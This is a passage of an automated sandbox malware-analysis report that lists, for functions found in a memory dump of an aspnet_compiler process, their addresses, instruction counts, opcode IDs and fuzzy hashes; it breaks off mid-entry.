                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: fa279a42205c3cbce9bf1444c2f86b9f4df7d091a5512a1f656042e67d1b5f18
                                                        • Instruction ID: f11ec26d54f66160ceb688cb60162c2ace757d20455d4b0abad17c5ea9d454a7
                                                        • Opcode Fuzzy Hash: fa279a42205c3cbce9bf1444c2f86b9f4df7d091a5512a1f656042e67d1b5f18
                                                        • Instruction Fuzzy Hash: 6B012171A1024D9BDB01DF69D9419EEFBF8FF58704F10405AEA00E7340D6749A018BA4
                                                        Function 01385060 Relevance: .0, Instructions: 43COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: a2e5cdc691e19632826e8dfa51bf59b900f0a51a7aee12347004111dfb418a17
                                                        • Instruction ID: 358aca1bdad4d742e55fe7a823c78dd357347ee46ba2efd4defb86568652ee5f
                                                        • Opcode Fuzzy Hash: a2e5cdc691e19632826e8dfa51bf59b900f0a51a7aee12347004111dfb418a17
                                                        • Instruction Fuzzy Hash: 070121B5A1024D9BCB04EF69D9419EEB7F8FF58704F10405AFA01E7341D674A901CBA5
                                                        Function 012DC073 Relevance: .0, Instructions: 43COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 65a6da88ffe4e3ef4f4bf4dda68b508183db8c002971e90ba11f3763248cd9ea
                                                        • Instruction ID: 7539443fd580b63065a803fb5170cdc155fe3c75a44c9316ba90f5fe54a37100
                                                        • Opcode Fuzzy Hash: 65a6da88ffe4e3ef4f4bf4dda68b508183db8c002971e90ba11f3763248cd9ea
                                                        • Instruction Fuzzy Hash: C5F062B2600615ABD324CF4DDD40E67FBEADBD5A90F05812DE655D7220EA31ED05CB90
                                                        Function 013850D9 Relevance: .0, Instructions: 43COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 295b715c5d4611c3033095d1f0b918542cd45aab816b20eda3b5a34ad6d3250c
                                                        • Instruction ID: 4dd57f41c669b73cfb7eb525b36358b366631773a6ef850b34c0df44ddc09a9d
                                                        • Opcode Fuzzy Hash: 295b715c5d4611c3033095d1f0b918542cd45aab816b20eda3b5a34ad6d3250c
                                                        • Instruction Fuzzy Hash: 21012171A1020DABDB00DF69D9419EEB7F8FF59704F50405AE600F7380D67499018BA4
                                                        Function 012AC310 Relevance: .0, Instructions: 43COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 256e141dc6b9705f9909cc47be5080ee0eb4db29c7708f1459163a76593eb05a
                                                        • Instruction ID: 67d62ef4bf315deed305ffc5c8222cffa8c3571d2bed519f048166c0670038ad
                                                        • Opcode Fuzzy Hash: 256e141dc6b9705f9909cc47be5080ee0eb4db29c7708f1459163a76593eb05a
                                                        • Instruction Fuzzy Hash: EAF02B33264A379FD7325B5D4840B7BBA9A8FD1B64F9A0036F3099B240CAB08D1297D0
                                                        Function 01385537 Relevance: .0, Instructions: 43COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 2278af4881a4059a869bd33bb1e8a02ce55c5f1965071445c0561fb894beed34
                                                        • Instruction ID: cdf1d2f727a22b9dac6fd256b552596116e66c84747a5bb07a54da3768bb3be7
                                                        • Opcode Fuzzy Hash: 2278af4881a4059a869bd33bb1e8a02ce55c5f1965071445c0561fb894beed34
                                                        • Instruction Fuzzy Hash: 5511C970A1024ADFDB04EFA9D541BAEFBF4BF08704F14426AE519EB782E634D941CB94
                                                        Function 013861E5 Relevance: .0, Instructions: 41COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 56a7c9ce259fd101994e245ea41f11cc927a248dc3bb2ffdba2ca630e11ab5f0
                                                        • Instruction ID: 236b30412be966fb68294618d079fa55cb38f49538f22d0c819564ae9a594528
                                                        • Opcode Fuzzy Hash: 56a7c9ce259fd101994e245ea41f11cc927a248dc3bb2ffdba2ca630e11ab5f0
                                                        • Instruction Fuzzy Hash: 84018F71A1024D9BCB00EFA9D541AEEBBF8BF58314F14406EE500E7290D774EA01CB98
                                                        Function 013363C0 Relevance: .0, Instructions: 41COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: dbb06fbea8421d8b96890fd2b120b20d820a8046168cc589f8d54c87f08ef009
                                                        • Instruction ID: 01177abf28c7b568f58d1056c95c6a6181f0dd8751c7c67f56c1f5d3e339842d
                                                        • Opcode Fuzzy Hash: dbb06fbea8421d8b96890fd2b120b20d820a8046168cc589f8d54c87f08ef009
                                                        • Instruction Fuzzy Hash: A7F06D7220001DBFEF019F94CD81DFF7B7EEB98298B104124FA00A2020D231DE21ABA0
                                                        Function 0136F2F8 Relevance: .0, Instructions: 41COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 07af9f8a55925d7a11d2b70e06bcef9f449f208c66a49e205034a4d60e0140cb
                                                        • Instruction ID: 8b4ae7f79ec965b346fbadd74fdd11e39cd4e680f2967e68708496b23c0f8f92
                                                        • Opcode Fuzzy Hash: 07af9f8a55925d7a11d2b70e06bcef9f449f208c66a49e205034a4d60e0140cb
                                                        • Instruction Fuzzy Hash: 08F0C872B10648ABD704DFB9D415AEEF7BCEF54714F00806AE601E7280DA74D9018760
                                                        Function 012E724D Relevance: .0, Instructions: 40COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 44620c8b90c707c3135ebb5afdba643e124f7b09bfea536c61b6b3c3b840e391
                                                        • Instruction ID: aa0b936f081cb001760284b0ed2fe158aa9a2455ccd7e46cae0f92444f92f6ad
                                                        • Opcode Fuzzy Hash: 44620c8b90c707c3135ebb5afdba643e124f7b09bfea536c61b6b3c3b840e391
                                                        • Instruction Fuzzy Hash: 07F0F671E21257ABFF10E7AC8944FAABBE89F90710F488165BB0197145D630E941C6D0
                                                        Function 012AC0F0 Relevance: .0, Instructions: 39COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: a1c0e76f396df70545429063557ec953fd2d2d649220e9c3306227b1606c12df
                                                        • Instruction ID: 4e7d69d1997cd9d7fbc6f50b8206cd48ee0a09687890372bf83d85b23a67fa7b
                                                        • Opcode Fuzzy Hash: a1c0e76f396df70545429063557ec953fd2d2d649220e9c3306227b1606c12df
                                                        • Instruction Fuzzy Hash: 04F024713343425BF750A619AC02B327296E7C0751FA5806AEB098F7C1E974EC1183A4
                                                        Function 013853FC Relevance: .0, Instructions: 39COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 7f09c5804cf4b111388e906d087e81b4842edae747613c69528927e441d0f89a
                                                        • Instruction ID: 5fa40c597d6ede910d1c9ea3f2926bd1414e0ce5e6d269050177a109554e4e2b
                                                        • Opcode Fuzzy Hash: 7f09c5804cf4b111388e906d087e81b4842edae747613c69528927e441d0f89a
                                                        • Instruction Fuzzy Hash: 80011E70A1020A9FDB04DFA9D545BAEF7F4FF08304F148269A519EB381DA749A408B94
                                                        Function 012E656A Relevance: .0, Instructions: 39COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 3d4d00c6d1a96fceda71b4d6e04cd44e4e50d5a5a37abca1daca4c2de3c7f6bb
                                                        • Instruction ID: e309c6e91d3667ab9da7d6238459a8bcd12195c6e638f3b94ffd68c93a061863
                                                        • Opcode Fuzzy Hash: 3d4d00c6d1a96fceda71b4d6e04cd44e4e50d5a5a37abca1daca4c2de3c7f6bb
                                                        • Instruction Fuzzy Hash: CD01A470310786DBF332AB2CDD4CB653BE8BB51B04F8845A4FB018BAD6E768D8018610
                                                        Function 0135437C Relevance: .0, Instructions: 37COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: abe8a162c34942eaba6aef332befd3f6f0562530e07f378f59fd36a18add1061
                                                        • Instruction ID: 0395c68bca3d727a89fc7995b963427b9fe4454643d05821253dff18ce618231
                                                        • Opcode Fuzzy Hash: abe8a162c34942eaba6aef332befd3f6f0562530e07f378f59fd36a18add1061
                                                        • Instruction Fuzzy Hash: 4DF02E31341D1347E7BDAB2E8410F3EA6959F90D44B05853C9E01CB665FF60DC90C780
                                                        Function 0136F3E6 Relevance: .0, Instructions: 35COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: d2e3f0595f0addc047cca6c7d9ae3477b94e6ff9f312003f8d8b1f379218e261
                                                        • Instruction ID: 8354a5705b08ca1254f716dc41f409064eba08dfc0fef7fdf81e9f058ce6233d
                                                        • Opcode Fuzzy Hash: d2e3f0595f0addc047cca6c7d9ae3477b94e6ff9f312003f8d8b1f379218e261
                                                        • Instruction Fuzzy Hash: C5F04F71A1024DAFCB04EFA9D555AAEB7F8FF18304F408069BA45EB381D674DA01CB54
                                                        Function 012A92FF Relevance: .0, Instructions: 35COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 552ea1ac9cb97f332d464b3d83dfc6acf73a2d8458d52aef97bf839a37c449ae
                                                        • Instruction ID: 0182f67a941e64ec1dea6087deef14798c9561b63ec1ab218f133a33d4f03184
                                                        • Opcode Fuzzy Hash: 552ea1ac9cb97f332d464b3d83dfc6acf73a2d8458d52aef97bf839a37c449ae
                                                        • Instruction Fuzzy Hash: 04F0FA32200340AFDB31EB0ACC04FAABBFDEF94B04F48051CE64293090CAA0B948C760
                                                        Function 013855C9 Relevance: .0, Instructions: 35COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: e064656bf96e0e56c9881b866d400e1891b52549c65ce394c0247e303ce6d8da
                                                        • Instruction ID: 50fffe45d23c9c289d030451c0122121db984bd3eee209f37d2829771fe0a7ca
                                                        • Opcode Fuzzy Hash: e064656bf96e0e56c9881b866d400e1891b52549c65ce394c0247e303ce6d8da
                                                        • Instruction Fuzzy Hash: BBF04F74A1024DEFDB04EFA8D545AAEB7F4FF18304F508469B945EB380D674DA00CB54
                                                        Function 01370115 Relevance: .0, Instructions: 32COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 6bed8a2fb6a4a8d684856447935bd824b235a00622699f8e044cb94917b08c6b
                                                        • Instruction ID: afd58d3ad159e071b435d77021cd1545025adddc4df18ba7f2b6149401750720
                                                        • Opcode Fuzzy Hash: 6bed8a2fb6a4a8d684856447935bd824b235a00622699f8e044cb94917b08c6b
                                                        • Instruction Fuzzy Hash: 49F0ECBF4156C50ACF366B3C74623D56F5CA75321CF5D244DE4A157209C67C9483C325
                                                        Function 0138539D Relevance: .0, Instructions: 31COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 413a06b29b5260c7b024ca2bcd173f93ec4681367862b72b9e6c2f43bce8e8c4
                                                        • Instruction ID: 8e553cd91b73913dc5a1b2fc08afd2d34ef4098dffb243dec79200f40111c7c4
                                                        • Opcode Fuzzy Hash: 413a06b29b5260c7b024ca2bcd173f93ec4681367862b72b9e6c2f43bce8e8c4
                                                        • Instruction Fuzzy Hash: 45F05E70A2034DAFDB04EBB9D545BAEB7B8AF18704F508469E601EB281DAB4D901CB14
                                                        Function 01385283 Relevance: .0, Instructions: 31COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: d2b771d6548e29c7f807245ef8508e7cc6ad937d4c5dd1611c74db53ba6958c5
                                                        • Instruction ID: b19495e31a7f91ac1c195987c82b134761c42eca1f599bd5f4f19a3b9647b02c
                                                        • Opcode Fuzzy Hash: d2b771d6548e29c7f807245ef8508e7cc6ad937d4c5dd1611c74db53ba6958c5
                                                        • Instruction Fuzzy Hash: 49F05E70A20349ABDB04EBA9D505ABEB7F8BF14704F404469BA41EB281EA74D900CB54
                                                        Function 013852E2 Relevance: .0, Instructions: 31COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 42f21512664d6ed7a640504cd9002679b0fcf386dcff18eac7e6b5ddd4f48149
                                                        • Instruction ID: 84562fcf357b3aeae8eee90999e0e612dd26016989322c67a287f614d70d4a0c
                                                        • Opcode Fuzzy Hash: 42f21512664d6ed7a640504cd9002679b0fcf386dcff18eac7e6b5ddd4f48149
                                                        • Instruction Fuzzy Hash: 68F05470A2034D9BD704EFB9D545F7EB7B8BF14704F444469A501EB281DA74D900CB54
                                                        Function 012EC5ED Relevance: .0, Instructions: 31COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: fe6483ffbfc6151497f894dde902b7c918bfbbf0a65df4da0b46e441f8ae8845
                                                        • Instruction ID: 781ac98897d7654a0542e59dfaad9fea38b47a052e1e5c3b4de39def0b408639
                                                        • Opcode Fuzzy Hash: fe6483ffbfc6151497f894dde902b7c918bfbbf0a65df4da0b46e441f8ae8845
                                                        • Instruction Fuzzy Hash: 43F052718312428FE722979CC00CB237BE49BC07A0F889425D61A83682C264F8B0CE60
                                                        Function 013851CB Relevance: .0, Instructions: 30COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 2b63561dac61f9356da783bdb9190ced3ca359b2621a515062abb8859fac57f5
                                                        • Instruction ID: 2f58caf9d884654388a98aece0bee37c898fdcab4e80b0881effe51961203f79
                                                        • Opcode Fuzzy Hash: 2b63561dac61f9356da783bdb9190ced3ca359b2621a515062abb8859fac57f5
                                                        • Instruction Fuzzy Hash: 7DF08271A2024DABDB04EBA8D505E6EB7B8BF14708F440469BA01EB2C0EA74D900C758
                                                        Function 0132D070 Relevance: .0, Instructions: 30COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 29a6642c7ef7ed3592a36acdccc95c3bae471711bc0d42908ddba4b2807d0017
                                                        • Instruction ID: 71d8ab74d0eb16be9eb9877d97851a99f19d8731eeb6139fd9da5866480f1517
                                                        • Opcode Fuzzy Hash: 29a6642c7ef7ed3592a36acdccc95c3bae471711bc0d42908ddba4b2807d0017
                                                        • Instruction Fuzzy Hash: BFF0EC3355461467C230A9498C05F6BFB9CDBE5B70F104319FA14971D0DA70D901C7D5
                                                        Function 01385341 Relevance: .0, Instructions: 30COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: de83d9d912982c7a10c08c500799a8b6d0e27b858195196c0f0e5e73aa1d4f48
                                                        • Instruction ID: 306d682f6194643f92d173f4a78bbd84c8ce92ef9e9779f40a0c5c47cba39372
                                                        • Opcode Fuzzy Hash: de83d9d912982c7a10c08c500799a8b6d0e27b858195196c0f0e5e73aa1d4f48
                                                        • Instruction Fuzzy Hash: A6F08270A10249ABDB04EBA9D545EAEB7B8AF19304F500569A601EB2D0EA74D9008B18
                                                        Function 01385227 Relevance: .0, Instructions: 30COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 7dc74c6fc4ba84dd70ef7b8e7ad373204019ed77466a46fd5d7175ff889772ac
                                                        • Instruction ID: f7049ee37f49e0821b385787d3dbc4e579893d08c8023156640deab38506ed61
                                                        • Opcode Fuzzy Hash: 7dc74c6fc4ba84dd70ef7b8e7ad373204019ed77466a46fd5d7175ff889772ac
                                                        • Instruction Fuzzy Hash: 16F08270A24249ABDB14EBA8D505EBEB7F8BF14704F440469BA01EB2C5EA74D900C758
                                                        Function 012E7208 Relevance: .0, Instructions: 30COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: b57291c04ad09b0cb82a449542032ff6542442180ca132ffcb78cd350925ce15
                                                        • Instruction ID: b9c256f44bbc5bf712af0ac39d60552a38dc81b3edf7303d7bb3f6c3ef7eec49
                                                        • Opcode Fuzzy Hash: b57291c04ad09b0cb82a449542032ff6542442180ca132ffcb78cd350925ce15
                                                        • Instruction Fuzzy Hash: FAF020719216A5DFD722FB1DD084B2277D89B00E38F288160E4898BD42C328D880C290
                                                        Function 0138547F Relevance: .0, Instructions: 30COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 9544b6b7af37f2eb730b4b03e95c0bd0260e44f27f63bb857619aa2401590dd1
                                                        • Instruction ID: 28889d832a80069336791fc78b5e341b850b1057f5fbb4a837cd17069778d711
                                                        • Opcode Fuzzy Hash: 9544b6b7af37f2eb730b4b03e95c0bd0260e44f27f63bb857619aa2401590dd1
                                                        • Instruction Fuzzy Hash: 86F08C70A11249ABDB04EBA9D546EAEB7B8AF08708F500069E601FB3C0EA78D900C759
                                                        Function 012E55C0 Relevance: .0, Instructions: 28COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 09511f6a5b3cabbe784265c74914248b525a176bb6667c193042ebcc910e885d
                                                        • Instruction ID: 73e142c5c260dd1af0cbd321c37589daf24ff9c09bcc631869b60b172bf7ce4b
                                                        • Opcode Fuzzy Hash: 09511f6a5b3cabbe784265c74914248b525a176bb6667c193042ebcc910e885d
                                                        • Instruction Fuzzy Hash: C5E0E533170615ABC3215A0AE805F23FBA9FF61BB0F118629E658575908B64E811CBD4
                                                        Function 012B25E0 Relevance: .0, Instructions: 23COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID: InitializeThunk
                                                        • String ID:
                                                        • API String ID: 2994545307-0
                                                        • Opcode ID: 0392a2aed5727cb8dd753287248eb1747539fb2645f4b48b1dad4c1b0bcd3b33
                                                        • Instruction ID: 762432b7d6caa8bc411f209ef9cd0d06b65f4b180f606985f2aac20626b352ab
                                                        • Opcode Fuzzy Hash: 0392a2aed5727cb8dd753287248eb1747539fb2645f4b48b1dad4c1b0bcd3b33
                                                        • Instruction Fuzzy Hash: 46E09272110A949BC321FB29DD41FEA7B9AEB607A0F014629F156571A0CA30B910C784
                                                        Function 01334000 Relevance: .0, Instructions: 22COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: d217a6aac874400d2fdd0dd0cc4ad7a97c57c110d53f39d941a96e3fabb04b1b
                                                        • Instruction ID: 85b461fa88c0f10fd5aaaa01b3b4c5304bca3c92f18917ff671aa06a1063fc32
                                                        • Opcode Fuzzy Hash: d217a6aac874400d2fdd0dd0cc4ad7a97c57c110d53f39d941a96e3fabb04b1b
                                                        • Instruction Fuzzy Hash: 4EE0C2383003058FE715CF19C040B62BBB6FFD5A14F28C068A9488F205EB32E842CB44
                                                        Function 0136B3D0 Relevance: .0, Instructions: 21COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 2862d5c95079e8f9bdfc17701203be164f113e2c7109adcb0461f4fb661a1a8a
                                                        • Instruction ID: b1bd989cd1fb1056449f8683b690b0305fa9bbced9674f9bb88845f0e4eebb69
                                                        • Opcode Fuzzy Hash: 2862d5c95079e8f9bdfc17701203be164f113e2c7109adcb0461f4fb661a1a8a
                                                        • Instruction Fuzzy Hash: 43E0CD31384119B7DB335A44CC00F79B71DDB50794F108032FB08AA654C5719D51DAD4
                                                        Function 012A823B Relevance: .0, Instructions: 21COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
